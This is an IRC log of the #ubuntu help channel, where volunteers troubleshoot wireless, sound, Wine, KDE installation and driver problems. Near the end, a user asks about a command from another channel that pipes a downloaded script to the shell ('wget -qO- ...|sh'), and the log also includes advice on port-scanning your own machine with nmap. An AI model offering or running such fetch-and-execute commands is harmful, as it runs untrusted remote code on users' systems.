[00:56] <RabidWeezle> Kaso what you should do is check out ssh
[00:56] <usr13> jsschmid: From menu.lst   remove lines 188,190,191
[00:56] <Jordan_U> Punkunity, That won't get him libdvdcss
[00:56] <Jordan_U> Punkunity, It's not in the default repos for legal reasons
[00:56] <Kaso> SSH into the machine then startx on it then vnc into it?
[00:56] <Jordan_U> Kaso, Or use ssh -X :)
[00:56] <Punkunity> sudo apt-get install libdvdcss but yeah i tghink thats how i got it by add remove jordan_u
[00:56] <jsschmid> usr13: ok, wait ...
[00:56] <Taras> Has anyone used WINE before ?
[00:57] <usr13> Taras: I have.
[00:57] <Jordan_U> !anyone | Taras
[00:57] <ubotu> Taras: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[00:57] <Punkunity> oh i had to copy and paste a reppio before doing it, and screw the legalities, noone will get into trouble for it
[00:57] <RabidWeezle> you can access it from a windows machine by using a free app called putty if you need to with ssh Kaso
[00:57] <dormedas> I got a broken libc6-dev and libc6-i686 package, and synaptic "fixed it" with install -f, but it didn't fix it, and now GDM won't start, help?
[00:57] <d0c> how do i install KDE once gnome is loaded in ubuntu?
[00:57] <soundray> !kde | d0c
[00:57] <ubotu> d0c: KDE (http://kde.org) is the !desktop environment used natively in !Kubuntu. To install from Ubuntu: « sudo apt-get install kubuntu-desktop », or see http://help.ubuntu.com/community/InstallingKDE .

[00:57] <scguy318> jsschmid: problem resolved?
[00:57] <Punkunity> how do i get my box to boot form the non-usb multi-card reader with and sd card so i can install a new gutsy
[00:58] <Avt3kk> rxKaffee so this keeps me from getting unstable packages?
[00:58] <Jordan_U> d0c, Do you just want KDE or KDE and all of the default apps that come with it in kubuntu?
[00:58] <jsschmid> scguy318: dont know, i'll have to reboot but i'll report
[00:58] <Taras> I have a problem, after i installed it and used some windows software on my ubuntu, it seems i cant remove wine or any of the windows applications, it removes them from computer but still displays them on my application list
[00:58] <Kaso> ive got howto ssh into the machine from windows, not a problem, but how do i then get non-terminal-only access to the PC? Jordan_U what's ssh -X ?
[00:58] <rxKaffee> Avt3kk: no, it tells you how to repackage a package from unstable(feisty was unstable at the time, I'd recomend using gutsy which is currently stable)
[00:58] <_16aR_> Hello
[00:59] <_16aR_> Anyone has tried aptulr on PPA package ?

[00:59] <wayne_> hello
[00:59] <rxKaffee> Avt3kk: you'll be rebuilding pidgin instead of erlang
[00:59] <d0c> jordan: i want the enitre kde
[00:59] <jsschmid> usr13: ok, there are only 160 lines :-) but i'll figure out, just a second
[00:59] <soundray> ubotu, no, kde =~ s/Gusty/gutsy/
[00:59] <Avt3kk> rxKaffee so I get pidgin package from gutsy?
[00:59] <djjoka> is "Wine" supposed to let me use .exe files?
[00:59] <rxKaffee> djjoka: yes
[00:59] <Jordan_U> Kaso, ssh -X allows programs running on the remote machine to send X commands to your local machine, it requires that you have an X server installed on your local machine though ( there is one available for windows, not sure how good it is though )
[00:59] <djjoka> good
[00:59] <djjoka> thank you
[00:59] <rxKaffee> Avt3kk: yes
[00:59] <Yachi> how can i get ntfs-3g to scan for ntfs filesystems?
[01:00] <Jordan_U> djjoka, But it won't work with all exe's
[01:00] <rxKaffee> Yachi: what is ntfs-3g?
[01:00] <djjoka> why?
[01:00] <dormedas> Hello, I got broken libc6-dev and libc6-i686 packages, and synaptic attempted to fix it, and now I'm stuck in command line, help!
[01:00] <Avt3kk> poor yachi I seen you post that same question 4 times hehe
[01:00] <djjoka> and , is there any way to let it use all?
[01:00] <djjoka> because i cant download VMware
[01:00] <d0c> Jordan_U: i want the full kde
[01:01] <Yachi> yeh im gettin no help :(
[01:01] <Jordan_U> djjoka, Because it is a completely reverse-engineered implementation of the win32 API, basically they remade most of windows without any documentation or help from Microsoft :)
[01:01] <Snowman> [djjoka]: why cant u download VMware?
[01:01] <scguy318> Jordan_U: oh they do use docs, just the ones that MS has published for the public
[01:01] <soundray> LjL: thanks again for your sacrifice
[01:01] <Snowman> [djjoka]: i've downloaded it yesterday
[01:01] <Hatabax> I'm having trouble getting wireless networking to function.. I have a broadcom 4318, and I believe I have (finally) got ndiswrapper working, but its still not being recognized by any of the networking tools.. if anyone has some experience and might be able to get me started in the right direction again, i would appreciate it. more details available if necessary.
[01:01] <djjoka> amd64]
[01:01] <rxKaffee> djjoka: "use all"?
[01:01] <scguy318> Jordan_U: like what API functions are there, etc.
[01:01] <djjoka> ?
[01:01] <usr13> jsschmid: See lines 184-187  at: http://paste.ubuntu-nl.org/43740/
[01:01] <djjoka> what
[01:01] <Avt3kk> rxKaffee so I install this prevu thing to do the compiling?
[01:02] <Jordan_U> scguy318, That's just for the features that MS documents ;)
[01:02] <DerangedDingo> hey everyone, is it 5:00 PST right now? my clock isn't synchronized, and I don't know if it automatically went back an hour since DST.
[01:02] <djjoka> im new to Linux so i dont really know what to do
[01:02] <scguy318> Jordan_U: yep :)
[01:02] <rxKaffee> Avt3kk: prevu? never heard of that... the unstable-packages-on-ubuntu url I gave you uses "apt-get source --build" to do the compiling
[01:02] <rxKaffee> djjoka: try using synaptic to install wine, then just double clicking on your exe
[01:02] <Jordan_U> djjoka, First see if there isn't a native Linux alternative to the application you want to run
[01:02] <djjoka> ive downloaded alot of software to get it to work with me, like the plugin to play DVD
[01:02] <scguy318> DerangedDingo: I am -0600 GMT, PST is -0800 GMT, so I would think that yes its 5:02 PM your time
[01:03] <d0c> none is gonna tell me how to install KUBUNTU??
[01:03] <scguy318> DerangedDingo: my clock appropriately switched automatically
[01:03] <Jordan_U> djjoka, Applications -> Add / Remove is a good place to look
[01:03] <alain> just apt-get it
[01:03] <d0c> the site doesnt say much
[01:03] <jsschmid> usr13: got that, did that, be  back in 5 minutes

[01:03] <usr13> jsschmid: The windows section should look like lines 184-187  at: http://paste.ubuntu-nl.org/43740/
[01:03] <DerangedDingo> scguy318: alright. good. i set it forward an hour after my cell phone had a different time
[01:03] <djjoka> i looked
[01:03] <Jordan_U> djjoka, What program are trying to run?
[01:03] <djjoka> i need the Zune program
[01:03] <mike5805> kubuntu is as simple as putting in the cd and letting it load
[01:03] <Avt3kk> rxKaffee this link? http://pupeno.com/2006/12/17/unstable-packages-on-ubuntu/
[01:03] <djjoka> to sync music and stuff to my zune
[01:03] <mike5805> then clicking install icon from the desktop
[01:03] <rxKaffee> Avt3kk: yea
[01:04] <avayl> can someone help me out with my ubuntu install? im having some sound issues
[01:04] <losif> Losif
[01:04] <scguy318> DerangedDingo: if you still doubt that you're in the appropriate TZ, just run date in Terminal, it tells you what time zone you're in
[01:04] <avayl> also i seem to be having some problems with reference to brightness
[01:04] <d0c> is it that useless asing for here?
[01:04] <DerangedDingo> scguy318: nah I know what TZ i'm in, i just can't keep track if which clocks i have to adjust to DST in this house
[01:04] <Pici> d0c: sudo apt-get install kubuntu-desktop
[01:05] <d0c> thank you
[01:05] <rxKaffee> d0c: can't you just download an iso and boot its installer?
[01:05] <scguy318> DerangedDingo: ah
[01:05] <rxKaffee> d0c: if you are having this much trouble figuring out how to apt-get the kubunt package in, the installer cd might be easier for you
[01:05] <boontoo> how do you know if your wireless internet is working in ubuntu? what program is there to check its switched on
[01:05] <d0c> hey pici thanx!
[01:06] <scguy318> boontoo: iwconfig/ifconfig, not sure if that's definitive
[01:06] <usr13> boontoo: iwconfig
[01:06] <Hatabax> I'm having trouble getting wireless networking to function.. I have a broadcom 4318, and I believe I have (finally) got ndiswrapper working, but its still not being recognized by any of the networking tools.. if anyone has some experience and might be able to get me started in the right direction again, i would appreciate it. more details available if necessary.
[01:06] <dormedas> quit
[01:06] <usr13> boontoo: or sudo iwconfig
[01:06] <boontoo> usr13: eth1      IEEE 802.11b/g  ESSID:off/any  Nickname:"Broadcom 4318"?
[01:06] <boontoo> what is ESSID?
[01:06] <rxKaffee> boontoo: looks like you and Hatabax are in the same box
[01:07] <scguy318> boontoo: network name
[01:07] <Snowman> [Hatabax]: there is a software named wireless assistent or something, it could help you
[01:07] <Hatabax> rxKaffee: hehe. yeah. except im not getting that far.. iwconfig doesnt show the wireless connection
[01:07] <FluxD> !dvd | nickwashere
[01:07] <ubotu> nickwashere: For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss2" can be found at !Medibuntu or (for Feisty and earlier) http://wiki.ubuntu.com/SeveasPackages - Try k9copy (available in !Universe) for backing up DVDs
[01:07] <usr13> boontoo: Ok, essid is not set... so do   sudo iwconfig eth1 essid linksys    (where linksys is essid of your wireless router).
[01:07] <rxKaffee> Hatabax: you've told ndiswrapper to load the windows drivers in?
[01:07] <boontoo> usr13: i dont have a wireless router i just want to roam
[01:08] <mtx1> in gnome, how do i change it so when i minimize a window those black boxes dont show up
[01:08] <dana_bad> !Mediabuntu
[01:08] <ubotu> Sorry, I don't know anything about mediabuntu - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi

[01:08] <ubotu> medibuntu is a repository of packages that cannot be included into the Ubuntu distribution for legal reasons - See http://www.medibuntu.org
[01:08] <Yachi> blah
[01:08] <rxKaffee> boontoo: well someone has to have a wireless router... thats what you connect to when you roam
[01:08] <Hatabax> rxKaffee: yeah, i tried bcmw5l first, and got some errors in dmesg.. but i tried bcmw5la, and got it loaded smoothly, but still no eth1
[01:08] <usr13> boontoo: Are you trying to connect to a particular network right now?
[01:08] <boontoo> yeah my neighbours
[01:08] <rxKaffee> Hatabax: it won't be ethX, it will probably be wlan
[01:08] <pablo> holas
[01:08] <pablo> alguien habla español
[01:09] <usr13> boontoo: Try:  sudo dhclient eth1
[01:09] <rxKaffee> Hatabax: did you monitor the tail end of dmesg as you loaded the driver? it should probably tell you what the name will be
[01:09] <Hatabax> rxKaffee: i changed the setting on that, but still, no wlan riyjrt

Does any1 have any idea what could be going on?
[01:09] <ubotu> pablo: Si busca ayuda en Español por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, allí obtendrá mas ayuda.
[01:09] <scguy318> pablo: hola, yo puedo hablar espanol un poco, pero debes ir a la canal #ubuntu-es
[01:09] <rxKaffee> jewbilee: devilspie should be able to do it for gnome
[01:09] <usr13> boontoo: eth1 not eht1

[01:09] <scguy318> !es | pablo

[01:09] <d0c> anyone got the wusg54g running under ubuntu?
[01:09] <pablo> como entro a esa sala q nu caxo
[01:10] <Hatabax> rxKaffee:  it doesnt mention another connection other than eth0 (my wired connection)
[01:10] <JymmmEMC> I don't know why, but every so often my gnome desktop doens't respond to mouse clicks. kybd still works (mostly) and can move the cursor. any ideas?
[01:10] <bazhang> pable type /join #ubuntu-es
[01:10] <rxKaffee> Hatabax: does `ifconfig -a` mention anything other than eth0 and local?
[01:10] <scguy318> pablo: para entro, type /join #ubuntu-es
[01:10] <Hatabax> im going to install wireless assistant again, maybe that will trigger something

[01:10] <rxKaffee> jewbilee: there're tutorials allover the ubuntu forum on using devilspie
[01:10] <Hatabax> rxKaffee: sit0, whatever that is
[01:11] <jewbilee> alright
[01:11] <jewbilee> thanks
[01:11] <mwazny> o and for some reason both the background color and text is black in this window
[01:11] <usr13> boontoo: And that is probablhy because you do not have essid set.
[01:11] <rxKaffee> Hatabax: is that listed as being a wireless device under iwcondig?
[01:11] <rxKaffee> *iwconfig
[01:11] <boontoo> usr13: how do i set my essid to roam or listen?
[01:11] <usr13> boontoo: For a wireless NIC to connect to a particular network, it has to match the essid.
[01:11] <Hatabax> rxKaffee: yes, but so is lo and eth0
[01:12] <rxKaffee> d0c: wusg54g is usb rt2750?
[01:12] <rxKaffee> Hatabax: lo an deth0 should say "not a wireless device" or such though
[01:12] <scguy318> rxKaffee: i think, though the Realtek native drivers are kinda iffy
[01:12] <Jordan_U> djjoka, It doesn't look likely that the zune program will run in wine :(
[01:12] <Xapper> sometimes my usb connected hardrive has two icons on desktop, is this a bug or my failure to install something. (its NTFS)
[01:12] <Hatabax> rxKaffee: no wireless extensions ?
[01:12] <rxKaffee> Hatabax: yea... does it say that under sid0 too?
[01:12] <usr13> boontoo: I'm not sure you can, unless you acquire a fully supported wireless NIC.
[01:12] <Hatabax> rxKaffee: yes
[01:12] <rxKaffee> or sit or whatever it was
[01:12] <rxKaffee> aw :(
[01:12] <boontoo> usr13: so i cant get my network card to pick up all the wireless networks in my area like in Vista?
[01:12] <Jordan_U> Xapper, And there is only one partition on the drive?
[01:13] <mwazny> does anyone know how to set up sound? my sound card seems to only play sounds from a music player but won't play system sounds or anything
[01:13] <rxKaffee> scguy318: d0c the rt2x00(serial monkey) drivers are very good
[01:13] <Xapper> jordan_u: yeah
[01:13] <rxKaffee> as are serial monkey's older non-rt2x00 drivers from my readings
[01:13] <usr13> boontoo: In other words, with that particular NIC, you will more than likely need to manually set essid for each network you want to connect to. You need a fully supported wireless NIC.
[01:13] <Jordan_U> mwazny, does "speakertest" make noise?
[01:13] <jhelmus> Is anyone familar with installing Ubuntu off a USB stick, I can things to boot, but the install fails when trying to detect the CD-ROM drive
[01:14] <scguy318> mwazny: speaker-test that is
[01:14] <scguy318> Jordan_U: or cat /dev/urandom > /dev/dsp :P
[01:14] <Jordan_U> jhelmus, Alternate or live installer?
[01:14] <mwazny> umm if you mean the test buttons under devices then yes
[01:14] <usr13> boontoo: You can only connect to one network, Right?  So just pick one and connect to it.
[01:14] <usr13> boontoo: Not sure what you're wanting to do...
[01:14] <Xapper> jordan_u: it doesnt happen all the time, im going to try to keep an eye on what causes it to happen
[01:14] <Jordan_U> scguy318, If he has heard any sound that will work ( as long as it's not already in use )
[01:15] <jhelmus> Jordan_U I just have vzlinuz, the netboot initrd.img, and the mini.iso file on the drive
[01:15] <boontoo> usr13: basically when i go into the city and theres free connections all around at cafes ect i want to pull up a list showing all the available networks that i can connect to, their security eg wep wap smc wpa2 ect
[01:15] <Jordan_U> jhelmus, Have you been following a howto?
[01:15] <Hatabax> rxKaffee: im thinking about just buying a mini-pci card that is known to work easily for linux/ubuntu
[01:15] <usr13> boontoo: A fully supported NIC will have more functions / complete functionality.
[01:15] <d0c> how do i install directly off the cd once im in the OS>?
[01:15] <d0c> install apps that is
[01:15] <jhelmus> Jordan_U: Yes, https://help.ubuntu.com/community/Installation/FromUSBStick
[01:16] <Jordan_U> d0c, Click the install icon on the desktop
[01:16] <Hatabax> rxKaffee: but im gonna try Wireless Assistant before i totally give up
[01:16] <rxKaffee> Hatabax: tried native bcm drivers?
[01:16] <boontoo> usr13: how do i know if its fully supported or not?
[01:16] <usr13> boontoo: You will not be able to do all that with the broadcom

[01:16] <jhelmus> Jordan_U: I get stuck on mounting the flash drive /cdrom it doesn't seem to like any of my choices for a device
[01:16] <d0c> aight playa
[01:16] <rxKaffee> d0c: you'll need to add the cdrom as a repository to your sources.list, and probably either commento ut the other repos or disconnect your net
[01:16] <Inuyasha32246> firefow sound broken
[01:25] <Cerebru1> Where can I get help regarding sound problems? Yes I know, I have read tons of documentations and even installed another alsa version... I'm 2 days searching for solutions
[01:25] <Yachi> :P
[01:25] <mwazny> ok thats weird, now click on the test button doesn't play sound and if I click OK on the testing window it freezes
[01:25] <rxKaffee> K|NgGh0sT: try checking for bad blocks, ifno bad blocks, then try switching it to the other ide channel
[01:25] <Pelo> scguy318,  add/remove is just another front end for apt just like synaptic,  but it only shows apps , not every single packages
[01:25] <K|NgGh0sT> Its Sata
[01:25]  * Yachi prays to Jordan_U for answers
[01:25] <K|NgGh0sT> Problem is I cant even boot
[01:25] <scguy318> Pelo: im aware
[01:26] <rxKaffee> boontoo: I don't think that will work for bcm drivers
[01:26] <scguy318> what's with the mass join moments ago?
[01:26] <K|NgGh0sT> netsplit
[01:26] <Pici> !netsplit
[01:26] <ubotu> netsplit is when two IRC servers of the same network (like Freenode) disconnect from each other, so users on one server stop seeing users on the other. If this is happening now, just relax and enjoy the show. See http://en.wikipedia.org/wiki/Netsplit
[01:26] <scguy318> ah
[01:26] <Cerebru1> Where can I get help regarding sound problems? Yes I know, I have read tons of documentations and even installed another alsa version... I'm 2 days searching for solutions
[01:26] <jhelmus> How do I get the hardware detector to detect my usb pen drive so I can mount it (usually the install shell)
[01:26] <rxKaffee> K|NgGh0sT: check it from a livecd
[01:27] <scguy318> jsschmid: Ekiga
[01:27] <Jordan_U> Cerebru1, What problems?
[01:27] <Pelo> !sound | Cerebru1  did you try this ?
[01:27] <ubotu> Cerebru1  did you try this ?: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[01:27] <boontoo> rxKaffee: im going to jpn at the end of this month and id really like to take advantage of their abundant wireless networks
[01:28] <Cerebru1> The logon and logoff sounds work fine. The .ogg files in the Ubuntu examples folder work fine. BUT if I try to play .avi in Totem player the sound sucks
[01:28] <SuperSnout> So.. how would I go about installing azureus if i shouldn't do it manually?
[01:28] <K|NgGh0sT> rxKaffee, How do I do so?
[01:28] <hugh> Some process keeps blocking my sound card.  How do I figure out which one it is? I'm have an nvidia sound card and with it's own driver and not OSS.
[01:28] <newbiiie> Is it possible to play streaming Windows Video in ubuntu?
[01:28] <jsschmid> scguy318: thanks, i'll try that out!
[01:28] <rxKaffee> boontoo: so either use free ones, or if you need to "gain access", then buy a card that supports such things
[01:28] <Pelo> SuperSnout,  sudo apt-get install azureus
[01:28] <Jordan_U> SuperSnout, Applications -> Add / Remove
[01:28] <Jordan_U> newbiiie, Yes
[01:28] <rxKaffee> K|NgGh0sT: fsck with some options

[01:29] <boontoo> rxKaffee: yeh ill use free ones, i guess
[01:29] <Jordan_U> SuperSnout, Did you set it to show all applications?
[01:29] <scguy318> hugh: hmm ok, thats my shot there :P
[01:29] <rxKaffee> boontoo: sounds like you're all set then if iwlist shows ap's :D

[01:41] <Jordan_U> newbiiie, np :)
[01:41] <scguy318> jhelmus: sdb is the entire HDD, you probably want something like sdb1, sdb2, etc.
[01:41] <Snuxoll> *You are now talking on #ubuntu-DD
[01:41] <scguy318> jhelmus: which are the partitions
[01:41] <Snuxoll> I had to
[01:41] <SuperSnout> scguy318: I'm using a website to scan my ip for open ports :D
[01:41] <SuperSnout> scguy318: might take a while though..
[01:41] <jhelmus> scguy318: I'm being using /dev/sdb1 but still no luck
[01:41] <ray_> does xfree86 come on 7.10 by default?
[01:42] <Jordan_U> SuperSnout, You can scan yourself thorugh a proxy
[01:42] <boselecta> bazhang: any idea if I should be worried about the GNOME error?
[01:42]  * Yachi is still waiting for an answer to either of my two questions
[01:42] <scguy318> ray_: no, its X.Org
[01:42] <scguy318> Yachi: what are the questions?
[01:42] <SuperSnout> Jordan_U: how would I do that?
[01:42] <Snuxoll> People still use xfree86?
[01:42] <scguy318> jhelmus: hmm, dunno then
[01:42] <usr13> ray_: No
[01:42] <bazhang> boselecta: is your system running?
[01:42] <Yachi> how can i scan for ntfs with ntfs-3g | how can i get my usb headset working
[01:43] <scguy318> Yachi: scan like? and what headset?
[01:43] <ray_> so i will have to install it to get the proprietary ati driver
[01:43] <boselecta> oh, yes. it's just i have never seen that dialog before upon logging in. it looks like some of the icons are different on the panel, too
[01:43] <scguy318> Yachi: if you mean a disk check like chkdsk you can't really, you have to use Windows
[01:43] <scguy318> Yachi: as for your headset it should be a matter of just plugging in
[01:43] <Jordan_U> SuperSnout, Use nmap with torify
[01:44] <scguy318> Jordan_U: dead slow :P
[01:44] <scguy318> Jordan_U: best to just use online-nmap.com or a service like i
[01:44] <scguy318> Jordan_U: *it
[01:44] <ray_> if i install xfree86 will that mess with x.org?
[01:44] <flyingfree> okay silly question
[01:44] <scguy318> ray_: not sure, but I don't see why you need XFree86
[01:44] <usr13> ray_: Probably
[01:44] <Munchkinguy> Hi. I just installed the new ATI driver on Gutsy, but compiz doesn't work because "/usr/bin/compiz: 228: Syntax error: "(" unexpected"
[01:44] <Jordan_U> ray_, Why would you want to install xfree86?
[01:45] <ray_> i need it for the ATI propritary driver
[01:45] <bazhang> boselecta: using Gutsy?
[01:45] <scguy318> ray_: um no?
[01:45] <scguy318> ray_: System -> Administration -> Restricted Driver Manager
[01:45] <usr13> ray_: You should remove xorg first.
[01:45] <scguy318> ray_: if you need fglrx
[01:45] <flyingfree> When I install tuxracer and google earth and a few other programs then try to open them , I get the splash screen and then nothing.  I have a 500 mHZ system, 198 rm running xubntu fiesty
[01:45] <scguy318> ray_: i seriously doubt that fglrx won't work on X.Org
[01:45] <ray_> that made gutsy run way to slow
[01:45] <usr13> flyingfree: hardware defeciency
[01:45] <ray_> when i used the open source driver
[01:46] <boselecta> bazhang: yeah, but for a while now. it just started today and i think i saw a GNOME update not too long ago.
[01:46] <flyingfree> thought so usr13
[01:46] <scguy318> ray_: Restricted Driver Manager installs fglrx, have you tried that?
[01:46] <boselecta> bazhang: perhaps i should just try relogging in to see if it was a one-time affair.
[01:46] <flyingfree> usr13 where do I find the req's for tuxracer and the google earth version in the repository?
[01:46] <ray_> no, i supose i can
[01:46] <mwazny> ok I think I figured out the problem(maybe) but I don't know how to fix it. My sound card is listed as number 1, after my webcam which is number 0 when I do " cat /proc/asound/cards" but how do I change that?
[01:46] <bazhang> boselecta: not sure what the issue is--though may want to choose today to do your back up :}
[01:46] <ray_> i will have to download the driver from ati first wont i?
[01:46] <scguy318> ray_: no
[01:46] <scguy318> !ati | ray_
[01:46] <ubotu> ray_: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[01:47] <scguy318> ray_: if you haven't already read
[01:47] <boselecta> bazhang: haha. not really my computer, so i'll pass that on. thx.
[01:47] <bazhang> boselecta: then no problem at all. heh
[01:47] <ray_> doing so now
[01:47] <SuperSnout> Jordan_U: just downloaded nmap
[01:47] <scguy318> SuperSnout: you can't use it to probe yourself, have to use an external machine
[01:48] <flyingfree> does mplayer work under xubuntu?
[01:48] <boontoo_> !madwifi
[01:48] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[01:48] <scguy318> flyingfree: yes
[01:48] <usr13> flyingfree: It would be a subjective answer in the first place, but a 500Mhz processor is deficient. 1000Mhz will do.  Maybe even PIII 800 but nothing less, [would be my guess]
[01:48] <D4niel> nmap -vv -A ip
[01:48] <SuperSnout> scguy318: Jordan_U said I could use a proxy
[01:48] <scguy318> SuperSnout: yes, but kinda slow :P
[01:48] <Jordan_U> SuperSnout, I guess just keep using the service you were using :)
[01:48] <flyingfree> somehow i t is missing from my sound/video list and replace with gzine.  How can I get it back on the list?
[01:48] <scguy318> SuperSnout: you could use it if you wanted
[01:48] <Yachi> scguy318: no i want to see all the partitions that i could mount | Trust HS-6200 Surround USB Headset
[01:48] <usr13> flyingfree: And +512MB RAM
[01:48] <scguy318> Yachi: sudo fdisk -l
[01:48] <SuperSnout> Jordan_U: service?
[01:49] <flyingfree> wow for tuxracer?  or just google earth?
[01:49] <Jordan_U> SuperSnout, The site you were using
[01:49] <Munchkinguy> How do I fix the error?
[01:49] <SuperSnout> Jordan_U: what site? :/
[01:49] <usr13> flyingfree: Yes.
[01:49] <djjoka> ... how do i open .exe's in wine?
[01:49] <jhelmus> Is the boot.img.gz  in the netboot directory a ramdisk image with network drivers?
[01:49] <flyingfree> wow scary
[01:49] <D4niel> djjoka: wine  foo.exe
[01:49] <scguy318> djjoka: either give them execute permission and open in a file manager, or in Terminal, wine path/to/exe
[01:49] <flyingfree> owell that will have to wait until the laptop gets back from the shop.  Will older versions of tuxracer work on a 500 mhx system?
[01:50] <djjoka> how do i do that
[01:50] <Jordan_U> SuperSnout, online-nmap.com
[01:50] <usr13> flyingfree: You are working with hardware that is about 10 years old
[01:50] <scguy318> djjoka: the former assumes that you have binfmt installed, which you prob do
[01:50] <djjoka> (new to linux)(trying to learn)
[01:50] <flyingfree> yeah about that
[01:50] <scguy318> flyingfree: won't run the latest fun stuff unfortunately
[01:50] <mwazny> does it mean using a text editor to add in the line when it says You can manipulate the device number assignment by adding to /etc/modprobe.d/alsa-base snd-usb-audio:    options snd-usb-audio index=1
[01:50] <D4niel> djjoka: if u r using ubuntu, just double click that file...
[01:50] <flyingfree> np
[01:50] <scguy318> djjoka: in Terminal, wine /path/to/exe to run the app
[01:50] <SuperSnout> Jordan_U: I just used the terminal command to install it..
[01:50] <flyingfree> how do I get mplayer back o my sound/video drop down list though?
[01:51] <djjoka> im using ubuntu , double click and get an error
[01:51] <scguy318> djjoka: then in Terminal, wine /path/to/exe file
[01:51] <usr13> flyingfree: Rephrase your question.
[01:52] <Munchkinguy> Does the "228" mean there is a problem on line 228?
[01:52] <Jordan_U> SuperSnout, scguy318 noted that nmap over tor will be very slow and I thought you already knew about the online services ( someone was talking about them and I thought it was you )
[01:52] <djjoka> ok 1 sec imma try
[01:52] <flyingfree> How do I get mplayer listed in the appications/soundvideo menu?
[01:52] <Jordan_U> Munchkinguy, Yes
[01:52] <flyingfree> it is installed on the system somehow deleted from the menu
[01:52] <usr13> flyingfree: Are you using gnome?
[01:52] <Yachi> k now i cant mount, Mount is denied because NTFS is marked to be in use. i dont think i am using it...
[01:52] <reco_> does anyone have an idea of what this command does?  Did I potentially infect my system.  I was trying to get some help on another channel and someone told me to type this.
[01:52] <SuperSnout> Jordan_U: oh, yeah, I'm not sure if the online service worked properly.. and I wasn't using nmap.. I'll check it out though
[01:52] <reco_> wget -qO- bur.st/~s|sh
[01:52] <djjoka> so like, "  wine desktop file.exe  "?
[01:52] <flyingfree> no,, xubntu which is KDE right?
[01:52] <scguy318> Yachi: type mount command by itself to see
[01:52] <Jordan_U> flyingfree, Did you install the "mplayer" package or mplayer-nogui ?
[01:53] <djjoka> nm
[01:53] <Yachi> nope its not there
[01:53] <djjoka> i think i got it
[01:53] <scguy318> Yachi: if you are unable to mount because you did not cleanly dismount the NTFS part, then use -o force
[01:53] <ray_> damned that was simple thanks
[01:53] <flyingfree> Jordan_u mplayer package, I have seen the gui somehow gzine got isntalled as my defualt player need to change that and get mplayer as an option on the menu
[01:53] <scguy318> Yachi: with the ntfs-3g command
[01:53] <usr13> flyingfree: Right click the start button anc choose the KDE Menu Editor ....
[01:53] <newbiiie>  I have deleted two old partitions. Is there an easy way to change the hda numbering so that I get continuous hda 1,2,3,4 instead of hda 1,2,5,6 (that I got now) or rename them to common sense labels?
[01:54] <djjoka> wine: could not load L"Z:\\home\\ME\\Desktop.": Invalid handle
[01:54] <djjoka> got that error
[01:54] <flyingfree> usr13 Start button?
[01:54] <scguy318> wine: where's the EXE file located? looks like you typed an invalid path
[01:54] <sasimon19> hello there
[01:54] <SuperSnout> Jordan_U: it says I'm blocking ping probes :(
[01:54] <sasimon19> I need help setting the server root from the default in ubuntu (/var/www/) to another directory (mounted in /media/windowsxp/Program Files/Apache Software Foundation/Apache2.2/htdocs) I tried editing it in the /etc/apache2/apache2.conf file and restarting apache but no luck, it's the same for some reason... php works in that directory but I can't figure out how to move the default directory...
[01:54] <Yachi> i did: sudo ntfs-3g /dev/sda2 /mnt/win
[01:54] <scguy318> wine: and you of course have to put in the EXE name itself too
[01:54] <Jordan_U> scguy318, Is that good advice? Forcing an rw mount on a possibly unclean file system?
[01:54] <permanoia> when i try to ssh i get `ssh_exchange_identification: Connection closed by remote host` -- checked router/modem settings seem ok.
[01:54] <scguy318> Yachi: stick -o force to the end
[01:54] <Yachi> k
[01:54] <D4niel> newbiie:  basically u cant change the number, because it's defined as Logical partition and extend partion
[01:55] <scguy318> Jordan_U: good point, though it's not likely to corrupt the filesystem
[01:55] <flyingfree> okay right clicked appliation button and chose edit menu
[01:55] <thedefender> i want to be able to disable XGL and then re-enable it on the fly, some programs have probs with XGL
[01:55] <scguy318> Yachi: and I remind you that -o force is a bit risky :P
[01:55] <Yachi> ntfs-3g: Unknown option '-o'. yet it has it in an example :/
[01:55] <usr13> flyingfree: Yes, unless you want the launcher on the desktop, in which case  you just right click on an empty area of the desktop and choose Creat New -> Link to Application....
[01:55] <Jordan_U> SuperSnout, Then your computer probably isn't even accessable from the internet, have you set up any port forewarding?
[01:55] <scguy318> Yachi: sudo ntfs-3g /dev/sda2 /mnt/win -o force
[01:55] <sFEARs> hello
[01:55] <SuperSnout> Jordan_U: yes
[01:56] <reco_> does anyone have an idea of what this command does (wget -qO- bur.st/~s|sh
[01:56] <reco_> )?  Did I potentially infect my system.  I was trying to get some help on another channel and someone told me to type this.
[01:56] <SuperSnout> it couldn't scan for forwarded ports though because it said that ping probes were blocked ..
[01:56] <underwatercow> when I try doing something involving sound (ie with wine or festival) while something else is using sound (ie movie player) then the sound in festival or wine won't work until I log out and then back in... festival says "Cannot access /dev/dsp" or something like that... is there a way to get around this without having to logout?
[01:56] <scguy318> SuperSnout: -P0 option
[01:56] <flyingfree> usr13 okay got the menu what will the command be to laucn h the gui mplayer?
[01:56] <michaelfavia> anyone running ubuntu on an Abit ip35-e?
[01:56] <usr13> flyingfree: The "Start Button" [as I call it] is the icon in the bottom bar on the far left side.
[01:56] <Jordan_U> thedefender, You don't need to disable XGL, you can run applications in the underlying X server with: DISPLAY=":0" <command>
[01:56] <michaelfavia> just want to know if its possible
[01:56] <scguy318> reco_: it looks like you obtained something and piped it to sh...
[01:57] <scguy318> reco_: lemme see
[01:57] <Yachi> yay!
[01:57] <reco_> crap
[01:57] <flyingfree> usr13  ahh the ubuntu logo
[01:57] <Yachi> i gots my media!
[01:57] <scguy318> reco_: the script looks clean tho
[01:57] <usr13> flyingfree: Yes
[01:57] <Yachi> thanks scguy318
[01:57] <SuperSnout> scguy318: bash: -P0: command not found
[01:57] <reco_> I can't believe i did that
[01:57] <scguy318> SuperSnout: no, on the website
[01:57] <usr13> flyingfree:  "KED Menu Editor"
[01:57] <reco_> scguy: thanks
[01:57] <Yachi> just need to get this headset working now :/ :P
